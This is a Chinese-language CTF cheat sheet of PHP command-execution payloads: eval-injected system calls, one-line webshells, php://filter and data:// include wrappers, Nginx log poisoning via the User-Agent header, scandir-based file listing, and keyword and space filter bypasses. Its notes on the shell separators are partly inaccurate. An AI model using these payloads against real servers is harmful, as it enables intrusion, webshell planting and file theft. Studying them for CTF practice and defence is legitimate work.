一、eval()函式呼叫--無嚴格過濾:
1、highlight_file()高亮顯示:
?c=highlight_file(base64_decode("ZmxhZy5waHA="));
2、shell命令:
?c=system("tac fl*g.php");
?c=system("cat fl*g.php");
3、echo直接列印:(使用反引號包裹shell命令)
?c=echo 'tac fla*.php';
4、一句話木馬:
?c=@eval($_GET[1]);&1=system("tac flag.php");
一句話木馬 + cp複製命令:
?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");
一句話木馬 + php偽協議:
?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
5、include包含 + 偽協議:
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=php://input
+ POST提交PHP命令執行程式碼
6、Nginx日誌注入:
Nginx日誌預設路徑-->/var/log/nginx/access.log
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
透過UA頭寫入一句話木馬-->system指令 / 蟻劍連線
7、php函式呼叫繞過關鍵字元過濾:
getcwd() 函式返回當前工作目錄。它可以代替pos(localeconv())
localeconv():返回包含本地化數字和貨幣格式資訊的關聯陣列。這裡主要是返回值為陣列且第一項為"."
pos():輸出陣列第一個元素,不改變指標;
current() 函式返回陣列中的當前元素(單元),預設取第一個值,和pos()一樣
scandir() 函式返回指定目錄中的檔案和目錄的陣列。這裡因為引數為"."所以遍歷當前目錄
array_reverse():陣列逆置
next():將陣列指標指向下一個,這裡其實可以省略倒置和改變陣列指標,直接利用[2]取出陣列也可以
show_source():檢視原始碼
pos() 函式返回陣列中的當前元素的值。該函式是current()函式的別名。
每個陣列中都有一個內部的指標指向它的"當前"元素,初始指向插入到陣列中的第一個元素。
提示:該函式不會移動陣列內部指標。
程式碼演示:
localeconv()函式:
pos(localeconv()):指向第一個元素,不改變指標
scandir(pos(localeconv()))-->引數為.以此遍歷當前目錄
透過遍歷目錄-->獲取flag.php檔案的具體位置:
?c=var_dump(scandir(pos(localeconv())));
再透過next()和array_reverse()令指標指向flag.php所在位置-->show_source()讀取即可:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
二、include()函式使用不當導致命令執行:
詳見 --> 檔案包含與偽協議
三、分隔符 " ; " " || " " & " " && " 的使用:
| //只執行後面那條命令
|| //只執行前面那條命令
& //兩條命令都會執行
&& //兩條命令都會執行
(ctfshow-web42)
使用 || 只執行第一條命令:
?c=tac flag.php ||
四、關鍵字、關鍵符號、空格的繞過:
(1) 禁用 flag、tac等關鍵字:
flag --> fl*g
flag --> fla?
flag --> fl''ag
(2) 禁用 空格:
空格 --> ${IFS}、%09、< 等繞過方式